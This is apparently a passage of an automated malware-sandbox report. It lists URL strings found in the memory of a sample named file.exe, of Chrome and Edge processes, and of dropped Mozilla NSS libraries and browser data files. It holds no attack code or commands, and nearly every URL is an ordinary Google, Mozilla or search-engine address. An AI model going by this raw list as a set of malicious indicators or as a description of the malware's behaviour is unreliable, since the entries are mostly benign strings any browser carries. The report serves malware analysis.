Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000004.00000003.2346155335.000066C4010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C401264000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346260319.000066C400FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348320202.000066C40104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347871923.000066C40101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347713404.000066C400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346228870.000066C40112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346186126.000066C4010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346632616.000066C4010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2436819713.000066C4002F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2347752954.000066C400818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348396510.000066C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsf
Source: chrome.exe, 00000004.00000002.2441841156.000066C400A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000004.00000002.2441864862.000066C400A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: file.exe, file.exe, 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmp, mozglue[1].dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2755718633.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2748559487.000000001D388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chrome.exe, 00000004.00000002.2436317826.000066C400194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://.goof
Source: chrome.exe, 00000004.00000002.2440413483.000066C40082C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000004.00000002.2435957890.000066C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000004.00000002.2437243565.000066C400464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2437428244.000066C4004E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443551282.000066C400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443618123.000066C400CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000004.00000002.2435802152.000066C40001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2443618123.000066C400CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000004.00000002.2436432406.000066C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000004.00000003.2356600332.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000004.00000002.2435914046.000066C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000004.00000002.2435914046.000066C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000004.00000002.2435914046.000066C400074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000004.00000002.2435957890.000066C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000004.00000002.2435957890.000066C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxABf
Source: chrome.exe, 00000004.00000002.2443618123.000066C400CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/f
Source: chromecache_458.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_458.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000004.00000002.2436503008.000066C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000004.00000003.2378035871.000066C401C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2377300785.000066C401CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2445669841.000066C400E6C000.00000004.00000800.00020000.00000000.sdmp, chromecache_458.6.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000004.00000002.2445780412.000066C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2442318248.000066C400B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes
Source: msedge.exe, 00000007.00000002.2509031962.000001DB51AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2752337860.00000000233B3000.00000004.00000020.00020000.00000000.sdmp, EGCBFIEHIEGCAAAKKKKE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: chrome.exe, 00000004.00000002.2437693663.000066C400554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440172114.000066C400784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: chrome.exe, 00000004.00000002.2443012369.000066C400C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icos
Source: chrome.exe, 00000004.00000002.2443364514.000066C400C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000004.00000002.2443364514.000066C400C78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2575259570.000000002335E000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000004.00000002.2442833703.000066C400BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000004.00000002.2442833703.000066C400BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000004.00000002.2442833703.000066C400BF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000004.00000002.2441094870.000066C400978000.00000004.00000800.00020000.00000000.sdmp, IJKJJKFH.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000004.00000002.2439865814.000066C4006CC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2524987567.000005C00017C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000004.00000002.2439865814.000066C4006CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000004.00000002.2446881395.000066C400F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441740091.000066C400A24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2441864862.000066C400A7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2440064402.000066C400740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2507357488.000066C4011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000004.00000002.2507357488.000066C4011E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2506633246.000066C401134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enf
Source: chrome.exe, 00000004.00000003.2346574926.000066C400ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2353628337.000066C400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340786830.000066C400D0A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2344408269.000066C400ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2346730804.000066C400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340786830.000066C400D04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348591702.000066C400D04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2343340244.000066C400D04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2341225109.000066C400CFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2348552214.000066C400344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000004.00000003.2326780945.0000409800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2371386338.000066C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2372869649.000040980080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000004.00000002.2435642762.000040980078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
